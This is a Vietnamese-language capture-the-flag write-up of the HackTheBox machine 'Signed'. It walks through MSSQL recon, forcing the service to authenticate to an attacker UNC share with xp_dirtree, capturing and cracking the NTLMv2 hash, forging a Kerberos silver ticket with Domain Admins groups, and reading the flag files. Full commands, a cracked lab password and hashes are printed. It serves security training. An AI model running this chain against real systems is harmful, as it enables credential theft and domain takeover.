Skip to main content
  1. Posts/

HTB Windows Medium: Signed

·7 mins
Machine/Room

1. Reconaissance #

Đầu tiên, ta tiến hành nmap xem có các service gì đang mở:

┌──(havertz2110㉿kali)-[~]
└─$ nmap -sC -sV 10.10.11.90 
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-16 14:24 EST
Nmap scan report for 10.10.11.90 (10.10.11.90)
Host is up (0.21s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT     STATE SERVICE  VERSION
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.90:1433: 
|     Target_Name: SIGNED
|     NetBIOS_Domain_Name: SIGNED
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: SIGNED.HTB
|     DNS_Computer_Name: DC01.SIGNED.HTB
|     DNS_Tree_Name: SIGNED.HTB
|_    Product_Version: 10.0.17763
| ms-sql-info: 
|   10.10.11.90:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
|_ssl-date: 2025-11-16T18:59:18+00:00; -28m23s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-11-15T06:15:36
|_Not valid after:  2055-11-15T06:15:36

Host script results:
|_clock-skew: mean: -28m23s, deviation: 0s, median: -28m23s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.58 seconds

Từ kết quả scan, ta có 1 số kết luận cơ bản:

  • Hiện đang có 1 MsSQL Server → Có thể dùng impacket-mssqlclient.
  • Có Domain SIGNED và SPN MSSQLSvc/dc01.signed.htb → SQL Server này đang chạy trong môi trường AD.

Khi gặp tình huống có SQL Server trong domain, ta có thể nghĩ tới 2 attack vectors sau:

  • Hướng 1: Dùng xp_dirtree/xp_fileexist + UNC tới attacker → bắt NetNTLM của account chạy SQL (trong nhiều trường hợp sẽ có quyền cao hơn). Sau khi có credential của service account, ta sẽ có thể tiến hành Kerberos abuse (silver ticket, constrained delegation, v.v.).
  • Hướng 2: Ta abuse xp_cmdshell trong trường hợp account có sẵn có quyền sysadmin để RCE(khả năng thấp).

→ Không còn gì khác để khai thác, ta sẽ khai thác theo hướng 1.

2. Intial Access #

Đầu tiên, ta impacket vào SQL Server sử dụng cred mà mô tả Machine đưa cho và ép SQL server truy cập UNC tới attacker(chính chúng ta) thì nó sẽ dùng account service/domain để xác thực và từ đó capture hash. Để làm được điều này ta sẽ dùng Responder để giả làm server → nhận NTLMv2, crack bằng hashcat.

Ở đây ta set up thêm 1 terminal làm responder với command sudo -I responder tun0 -v như sau:

image.png

Ta dùng command EXEC master..xp_dirtree '\\10.10.14.129\share'; để request tới UNC và ngay lập tức bắt được hash ở Responder như sau:

image.png

Mình ghi lại dưới dạng text để về sau dễ bề thao tác:

[SMB] NTLMv2-SSP Client   : 10.10.11.90
[SMB] NTLMv2-SSP Username : SIGNED\mssqlsvc
[SMB] NTLMv2-SSP Hash     : mssqlsvc::SIGNED:cbefbbb4ec29815e:672A34094733E91B79751767075A8657:010100000000000080E107510B57DC013C75714D289AEFE70000000002000800440035003100550001001E00570049004E002D0043004E004B004E004E0046005800490050004F00430004003400570049004E002D0043004E004B004E004E0046005800490050004F0043002E0044003500310055002E004C004F00430041004C000300140044003500310055002E004C004F00430041004C000500140044003500310055002E004C004F00430041004C000700080080E107510B57DC0106000400020000000800300030000000000000000000000000300000CA243726228816FA2963DC6424B6CCD54F8EB7BD042FCD0CE53E60BE91DF4FBE0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100320039000000000000000000  

Có được NTLM hash, ta dùng hashcat để crack với command hashcat -m 5600 hash.txt rockyou.txt --show:

└─$ hashcat -m 5600 hash.txt rockyou.txt --show 

MSSQLSVC::SIGNED:cbefbbb4ec29815e:672a34094733e91b79751767075a8657:010100000000000080e107510b57dc013c75714d289aefe70000000002000800440035003100550001001e00570049004e002d0043004e004b004e004e0046005800490050004f00430004003400570049004e002d0043004e004b004e004e0046005800490050004f0043002e0044003500310055002e004c004f00430041004c000300140044003500310055002e004c004f00430041004c000500140044003500310055002e004c004f00430041004c000700080080e107510b57dc0106000400020000000800300030000000000000000000000000300000ca243726228816fa2963dc6424b6ccd54f8eb7bd042fcd0ce53e60be91df4fbe0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100320039000000000000000000:purPLE9795!@

Đã có được credential của account service, ta connect lại server MsSQL:

image.png

Ta check xem account này có quyền sysadmin chưa bằng lệnh SELECT IS_SRVROLEMEMBER('sysadmin'); thì trả về 0 → chưa có:

image.png

Hmm, vô tới đây rồi thì khá bí, nhưng vì mục đích ta là leo quyền nên ta cần biết mình có gì để leo, do đó, ở đây ta thử enumerate xem có các groups/users nào trên domain SIGNED này:

SQL (SIGNED\mssqlsvc  guest@master)> SELECT name, type_desc, sid  FROM sys.server_principals WHERE name LIKE 'SIGNED\%' ORDER BY name;
name                  type_desc                                                               sid   
-------------------   -------------   -----------------------------------------------------------   
SIGNED\Domain Users   WINDOWS_GROUP   b'0105000000000005150000005b7bb0f398aa2245ad4a1ca401020000'   

SIGNED\IT             WINDOWS_GROUP   b'0105000000000005150000005b7bb0f398aa2245ad4a1ca451040000'   

SQL (SIGNED\mssqlsvc  guest@master)> 

Từ thông tin trên, có thể thấy group SIGNED\IT khá tiềm năng. Để phục vụ mục đích forge silver ticket, ta sẽ cần decode những sid này để lấy được RID . Đầu tiên với SIGNED\IT, ta convert ra bytes:

01 05 00 00 00 00 00 05 15 00 00 00 5b 7b b0 f3 98 aa 22 45 ad 4a 1c a4 51 04 00 00

SID format WindowsFormat của nó sẽ như thế này:

01 → revision

05 → số sub-authority

00 00 00 00 00 05authority = 5 → S-1-5

15 00 00 0021 → S-1-5-21

Sau đó mỗi block 4 byte (theo LE)1 số:

5b 7b b0 f3 → 4088429403

98 aa 22 451159899800

ad 4a 1c a4 → 2753317549

51 04 00 000x00000451 = 1105

Rồi ghép lại, ta sẽ có:

S-1-5-21-4088429403-1159899800-2753317549-1105

Tới đây, để phục vụ mục đích forge silver ticket, ta sẽ cần các thông tin như:

nthash - chưa có
DOMSID = S-1-5-21-4088429403-1159899800-2753317549
domain = SIGNED.HTB
spn = MSSQLSvc/DC01.SIGNED.HTB
groups = 512, IT_RID(1105)
user-id = MSSQLSVC_RID(chưa có) mssqlsvc

Để tìm MSSQLSVC_RID, ta dùng command sau để trích ra sid:

SQL (SIGNED\mssqlsvc  guest@master)> SELECT SUSER_SID('SIGNED\MSSQLSVC');
                                                              
-----------------------------------------------------------   
b'0105000000000005150000005b7bb0f398aa2245ad4a1ca44f040000'

Và deocde ra ta có S-1-5-21-4088429403-1159899800-2753317549-1103 .

Còn lại nthash của service account thôi. Để có được, ta sẽ dump nó bằng lệnh:

└─$ echo -n 'purPLE9795!@' | iconv -f UTF-8 -t UTF-16LE | openssl md4

MD4(stdin)= ef699384c3285c54128a3ee1ddb1a0cc

3. Privilege Escalation #

Vậy là ta đã có hết các thông tin cần thiết, bây giờ tiến hành forge silver ticket bằng lần lượt các command sau:

──(havertz2110㉿kali)-[~]
└─$ nthash="ef699384c3285c54128a3ee1ddb1a0cc"
                                                                                                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~]
└─$ DOMSID="S-1-5-21-4088429403-1159899800-2753317549"
                                                                                                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~]
└─$ IT_RID=1105
                                                                                                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~]
└─$ MSSQLSVC_RID=1103

                                                                                                                                                                                                                                                                                             
┌──(havertz2110㉿kali)-[~]
└─$ impacket-ticketer \
  -nthash $nthash \
  -domain-sid "$DOMSID" \
  -domain SIGNED.HTB \
  -spn MSSQLSvc/DC01.SIGNED.HTB \
  -groups 512,$IT_RID \
  -user-id $MSSQLSVC_RID mssqlsvc
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for SIGNED.HTB/mssqlsvc
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in mssqlsvc.ccache

Như vậy là ta đã đóng gói được silver ticket và để sử dụng được thì ta cần set biến môi trường là KRB5CCNAME . Nếu không set thì Kerberos sẽ dùng cache mặc định nằm ở /tmp/krb5cc_<uid> mà ở đó thì lại không có ticket ta vừa tạo.

Do đó, ta sẽ set biến môi trường để cho Kerberos biết phải dùng ticket này và kiểm tra:

┌──(havertz2110㉿kali)-[~]
└─$ export KRB5CCNAME="$(pwd)/mssqlsvc.ccache"                                               
                                                                                                                                                                                                                                                                                            
┌──(havertz2110㉿kali)-[~]
└─$ klist
Ticket cache: FILE:/home/havertz2110/mssqlsvc.ccache
Default principal: mssqlsvc@SIGNED.HTB

Valid starting       Expires              Service principal
11/17/2025 08:57:09  11/15/2035 08:57:09  MSSQLSvc/DC01.SIGNED.HTB:1433@SIGNED.HTB
        renew until 11/15/2035 08:57:09

→ Hoàn thành, bây giờ ta sẽ dùng silver ticket để đăng nhập vào thôi:

┌──(havertz2110㉿kali)-[~]
└─$ sudo impacket-mssqlclient -k 'SIGNED.HTB/mssqlsvc@dc01.SIGNED.HTB' -windows-auth -no-pass
  
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01): Line 1: Changed database context to 'master'.
[*] INFO(DC01): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (160 3232) 
[!] Press help for extra shell commands
SQL (SIGNED\mssqlsvc  dbo@master)>  SELECT * FROM OPENROWSET(BULK N'C:\Users\mssqlsvc\Desktop\user.txt', SINGLE_CLOB) AS t;
BulkColumn                                
---------------------------------------   
b'1cbf0b30c88ca607f6c8e6e3fced2757\r\n'   

SQL (SIGNED\mssqlsvc  dbo@master)>  SELECT * FROM OPENROWSET(BULK N'C:\Users\Administrator\Desktop\root.txt', SINGLE_CLOB) AS t;
BulkColumn                                
---------------------------------------   
b'c646b7a164e807cdea31fa12ffb086c0\r\n'   

SQL (SIGNED\mssqlsvc  dbo@master)> 

Note: Trong quá trình khi impacket lần cuối, đôi khi bạn sẽ gặp lỗi "..the login is from an untrusted domain and cannot be used with Integration authentication” thì sẽ có 2 cách fix:

  • Đổi giờ của máy bạn lại trùng với giờ của server
  • Dùng kèm sudo ở đầu câu lệnh impacket